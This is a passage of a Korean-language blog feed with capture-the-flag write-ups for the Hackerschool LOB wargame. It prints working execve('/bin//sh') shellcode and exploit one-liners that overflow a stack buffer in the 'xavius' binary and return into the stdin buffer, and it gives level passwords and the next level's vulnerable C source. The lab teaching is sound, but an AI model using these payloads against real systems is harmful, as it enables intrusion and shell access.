loading=&quot;lazy&quot; width=&quot;211&quot; height=&quot;91&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;91&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 fgets() 함수를 호출하는 부분 0x8048729와 ret 명령 부분 0x804882a에 breakpoint를 걸고 test payload를 입력으로 주며 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1526&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ue9BA/btsFgNf4g6v/SVAl3WAeeOWYu0HMM6qkL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ue9BA/btsFgNf4g6v/SVAl3WAeeOWYu0HMM6qkL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ue9BA/btsFgNf4g6v/SVAl3WAeeOWYu0HMM6qkL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fue9BA%2FbtsFgNf4g6v%2FSVAl3WAeeOWYu0HMM6qkL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1526&quot; height=&quot;73&quot; data-origin-width=&quot;1526&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708774688049&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;r &amp;lt; &amp;lt;(python -c 'print &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot; + &quot;\x90&quot; * 19 + &quot;aaaa&quot;')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;gdb에서 인자를 stdin으로 주려면 위에서 data 파일로 만들어서 줄 필요없이 위의 명령을 이용해 바로 사용하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;471&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/diA8HL/btsFeq7cgDP/UaBBUBTrdQuCO1kmwSpEAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/diA8HL/btsFeq7cgDP/UaBBUBTrdQuCO1kmwSpEAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/diA8HL/btsFeq7cgDP/UaBBUBTrdQuCO1kmwSpEAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdiA8HL%2FbtsFeq7cgDP%2FUaBBUBTrdQuCO1kmwSpEAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;773&quot; height=&quot;471&quot; data-origin-width=&quot;773&quot; data-origin-height=&quot;471&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708773685000&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;x/3x $esp

x/40x 0x401068c0

ni

x/40x 0x401068c0&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1708773594748&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. int _flags

2. char *_IO_read_ptr : 읽을 데이터가 있는 영역의 현재 위치를 가리키는 포인터.

3. char *_IO_read_end : 읽을 데이터가 있는 영역의 끝을 가리키는 포인터. EOF라고 보면 될 듯 하다.
 
4. char *_IO_read_base : 읽고 있는 데이터의 시작을 가리키는 포인터.
 
5. char *_IO_write_base : 데이터를 쓸 영역의 시작 위치를 가리키는 포인터.
 
6. char *_IO_write_ptr : 데이터를 쓸 영역의 현재 위치를 가리키는 포인터.
 
7. char *_IO_write_end : 데이터를 쓸 영역의 끝을 가리키는 포인터.
 
8. char *_IO_buf_base : 버퍼의 시작 주소를 가리킨다.
 
9. char *_IO_buf_end : 버퍼의 끝 주소를 가리킨다.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;x 명령을 이용해 스택에 있는 fgets() 함수의 3인자를 보면 stdin의 주소는 0x401068c0이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 이는 구조체 포인터로 되어있기 때문에 0x401068c0 주소의 값들을 보면 위와 같은데 fgets() 함수를 호출하기 전에는 값들이 채워져 있지 않고 flag 값만 채워져 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fgets() 함수를 호출한 후 0x401068c0 주소의 값들을 다시 보면 값들이 채워져 있는 것을 확인할 수 있는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;버퍼의 공간은 0x40015000부터 0x40016000까지이고, 읽을 데이터가 있는 영역에서 현재 위치는 0x40015031이고, 데이터를 쓸 영역의 현재 위치는 0x40015000이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고) x/40x 0x401068c0 대신 x/40x stdin을 입력해도 된다.&lt;/p&gt;
&lt;div data-ke-type=&quot;moreLess&quot; data-text-more=&quot;더보기&quot; data-text-less=&quot;닫기&quot;&gt;&lt;a class=&quot;btn-toggle-moreless&quot;&gt;더보기&lt;/a&gt;
&lt;div class=&quot;moreless-content&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;199&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbfw8Q/btsFhh8M1NI/UqK2zC2phZAW2kUhmfuObK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbfw8Q/btsFhh8M1NI/UqK2zC2phZAW2kUhmfuObK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbfw8Q/btsFhh8M1NI/UqK2zC2phZAW2kUhmfuObK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbbfw8Q%2FbtsFhh8M1NI%2FUqK2zC2phZAW2kUhmfuObK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;775&quot; height=&quot;199&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;199&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;606&quot; data-origin-height=&quot;198&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Hkp6y/btsFh7rhYF1/jHrAUEQrsi4GK47UtRMTgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Hkp6y/btsFh7rhYF1/jHrAUEQrsi4GK47UtRMTgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Hkp6y/btsFh7rhYF1/jHrAUEQrsi4GK47UtRMTgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHkp6y%2FbtsFh7rhYF1%2FjHrAUEQrsi4GK47UtRMTgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;606&quot; height=&quot;198&quot; data-origin-width=&quot;606&quot; data-origin-height=&quot;198&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;버퍼의 공간이 0x40015000부터이기 때문에 0x40015000주소를 보면 입력한 데이터가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;540&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HxxUx/btsFg2Yhgkj/9yx8xtlAnKoOvi17elsgYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HxxUx/btsFg2Yhgkj/9yx8xtlAnKoOvi17elsgYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HxxUx/btsFg2Yhgkj/9yx8xtlAnKoOvi17elsgYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHxxUx%2FbtsFg2Yhgkj%2F9yx8xtlAnKoOvi17elsgYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;775&quot; height=&quot;540&quot; data-origin-width=&quot;775&quot; data-origin-height=&quot;540&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;다음 bp가 걸린 위치까지 실행하면 ret 명령에서 멈추게 되는데, 이때 stdin을 보면 아직 값이 그대로 남겨져 있고, 0x40015000 주소에 있는 값 역시 여전히 남겨져 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;main() 함수가 종료될 때도 0x40015000 주소에는 쉘코드가 남아 있기 때문에 stdin 버퍼를 이용해 0x40015000 주소로 반환하도록 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1658&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p74kF/btsFerkNhSU/uss2dnVsHBmyswcFMg0rk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p74kF/btsFerkNhSU/uss2dnVsHBmyswcFMg0rk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p74kF/btsFerkNhSU/uss2dnVsHBmyswcFMg0rk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp74kF%2FbtsFerkNhSU%2Fuss2dnVsHBmyswcFMg0rk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1658&quot; height=&quot;144&quot; data-origin-width=&quot;1658&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708774804940&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(python -c 'print &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot; + &quot;\x90&quot; * 19 + &quot;\x00\x50\x01\x40&quot;'; cat) | ./xavius&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;payload를 수정하여 xavius에 인자로 주며 실행하면 xavius의 password인 throw me away를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1658&quot; data-origin-height=&quot;307&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Nebs9/btsFhTmjxZe/omKEAD8Dky3lpzbeJ2oVT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Nebs9/btsFhTmjxZe/omKEAD8Dky3lpzbeJ2oVT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Nebs9/btsFhTmjxZe/omKEAD8Dky3lpzbeJ2oVT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNebs9%2FbtsFhTmjxZe%2FomKEAD8Dky3lpzbeJ2oVT1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1658&quot; height=&quot;307&quot; data-origin-width=&quot;1658&quot; data-origin-height=&quot;307&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708774944918&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(python -c 'print &quot;\x90&quot; * 44 + &quot;\x00\x50\x01\x40&quot; + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot;'; cat) | ./xavius

(python -c 'print &quot;\x90&quot; * 19 + &quot;\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&quot; + &quot;\x00\x50\x01\x40&quot;'; cat) | ./xavius&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이번 문제의 payload에서 NOP와 쉘코드의 위치는 중요하지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;어차피 stdin의 버퍼 영역인 0x40015000 주소에 입력한 값이 들어가게 되는데 NOP + shellcode + RET 순서이든, shellcode + NOP + RET 순서이든 RET 부분에 40015000 주소만 잘 들어가면 쉘 코드가 실행될 것이기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;의문점)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;근데 NOP + RET + shellcode 순서는 왜 되는걸까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;NOP를 따라 흘러가다가 RET 값은 무시하고 쉘 코드가 실행되는 것인가.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;이해가 안되는 경우를 위해 간략히 해둔 공격이 성공하는 이유&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 162px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;낮은 주소&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;ret_addr&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;buffer[40]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;sfp&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;ret&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;argc&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;argv&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;env&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 18px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 18px; text-align: center;&quot;&gt;높은 주소&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;RET&amp;nbsp;부분이&amp;nbsp;&quot;\x00\x50\x01\x40&quot;&amp;nbsp;값으로&amp;nbsp;변조된&amp;nbsp;상태에서&amp;nbsp;&quot;\x00\x50\x01\x40&quot;값을&amp;nbsp;ret_addr에&amp;nbsp;복사한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;br /&gt;이 상태에서 ret_addr의 값을 0x9090과 대조해보면 일치하지 않기 때문에 while문을 돌게 되고, 0xc9c3도 아니기 때문에 종료되지 않고 계속 ret_addr 주소부터 시작하여 0x9090을 만날 때까지 돌다가 0x90을 만나서 while문을 탈출하고 스택 주소가 모두 0으로 초기화 된 상태로 main() 함수가 끝나게 되는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이때 RET 부분에는 stdin의 버퍼 주소가 들어있고, stdin의 버퍼 주소에는 NOP + 쉘코드 혹은 쉘코드 + NOP가 들어있기 때문에 결과적으로 쉘코드가 있는 주소로 반환되는 것이므로 쉘 코드가 실행된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;참고)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;NOP+shellcode 순서가 비교적 shellcode+NOP 순서보다는 더 빨리 while문을 탈출할 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;ret_addr의 주소부터 \x9090을 검사하는데, buffer[40]에 NOP + shellcode 순서로 값이 들어있으면 5번째 쯤 while문을 돌게 될 때 바로 \x9090을 만나게 되므로 while 문을 탈출하고 main() 함수가 종료된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;[glibc의&amp;nbsp;.c&amp;nbsp;파일들을&amp;nbsp;찾은&amp;nbsp;경로]&lt;br /&gt;&lt;a href=&quot;https://kldp.org/node/55667&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://kldp.org/node/55667&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://directory.fsf.org/wiki/GNU&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://directory.fsf.org/wiki/GNU&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://www.gnu.org/software/libc/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.gnu.org/software/libc/&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://ftp.gnu.org/gnu/glibc/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://ftp.gnu.org/gnu/glibc/&lt;/a&gt;&amp;nbsp;-&amp;gt;&amp;nbsp;glibc-2.39.tar.gz&lt;br /&gt;&lt;br /&gt;_IO_FILE&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://koharinn.tistory.com/255&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://koharinn.tistory.com/255&lt;/a&gt;&lt;br /&gt;_IO_FILE_plus의&amp;nbsp;모든&amp;nbsp;것&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://wyv3rn.tistory.com/128#-IO-FILE%--%EA%B-%AC%EC%A-%B-%EC%B-%B-&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://wyv3rn.tistory.com/128#-IO-FILE%--%EA%B-%AC%EC%A-%B-%EC%B-%B-&lt;/a&gt;&lt;br /&gt;_IO_FILE&amp;nbsp;구조체&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://mineta.tistory.com/82&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://mineta.tistory.com/82&lt;/a&gt;&lt;br /&gt;_IO_FILE&amp;nbsp;구조체&amp;nbsp;위치&amp;nbsp;및&amp;nbsp;역할&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://mineta.tistory.com/82&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://mineta.tistory.com/82&lt;/a&gt;&lt;br /&gt;_IO_FILE&amp;nbsp;구조체&amp;nbsp;필드의&amp;nbsp;역할&amp;nbsp;정리&amp;nbsp;:&amp;nbsp;&lt;a href=&quot;https://blog.naver.com/sthellfire/220665754348&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://blog.naver.com/sthellfire/220665754348&lt;/a&gt;&lt;/p&gt;</description>
      <category>전쟁/hackerschool lob Redhat 6.2</category>
      <author>Sean(slay)</author>
      <guid isPermaLink="true">https://sean.tistory.com/497</guid>
      <comments>https://sean.tistory.com/497#entry497comment</comments>
      <pubDate>Sat, 24 Feb 2024 20:55:51 +0900</pubDate>
    </item>
    <item>
      <title>[hackerschool lob redhat] LEVEL18 (succubus -&amp;gt; nightmare) : plt(plt &amp;amp; got 동작 방식, GOT overwrite, RET부분을 Overwrite하여 해결)</title>
      <link>https://sean.tistory.com/496</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;login as : succubus&lt;br /&gt;password : here to stay&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;문제 확인&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwy8yC/btsE91Z32hM/WDIOVKN3Fc7FlJUx8jK7q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwy8yC/btsE91Z32hM/WDIOVKN3Fc7FlJUx8jK7q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwy8yC/btsE91Z32hM/WDIOVKN3Fc7FlJUx8jK7q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcwy8yC%2FbtsE91Z32hM%2FWDIOVKN3Fc7FlJUx8jK7q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;544&quot; height=&quot;73&quot; data-origin-width=&quot;544&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre id=&quot;code_1708571402961&quot; class=&quot;cpp&quot; data-ke-language=&quot;cpp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;dumpcode.h&amp;gt;

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc &amp;lt; 2){
		printf(&quot;argv error\n&quot;);
		exit(0);
	}

	// check address
	addr = (char *)&amp;amp;strcpy;
        if(memcmp(argv[1]+44, &amp;amp;addr, 4) != 0){
                printf(&quot;You must fall in love with strcpy()\n&quot;);
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf(&quot;%s\n&quot;, buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1.&amp;nbsp;커맨드라인&amp;nbsp;인자가&amp;nbsp;필요하다.&lt;br /&gt;2.&amp;nbsp;RET&amp;nbsp;부분에&amp;nbsp;덮어쓰는&amp;nbsp;값이&amp;nbsp;strcpy()&amp;nbsp;함수의&amp;nbsp;주소여야&amp;nbsp;한다.&lt;br /&gt;3. buffer[40]+48 부분 즉 RET 부분의 다음 부분 4byte는 'A'로 초기화 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
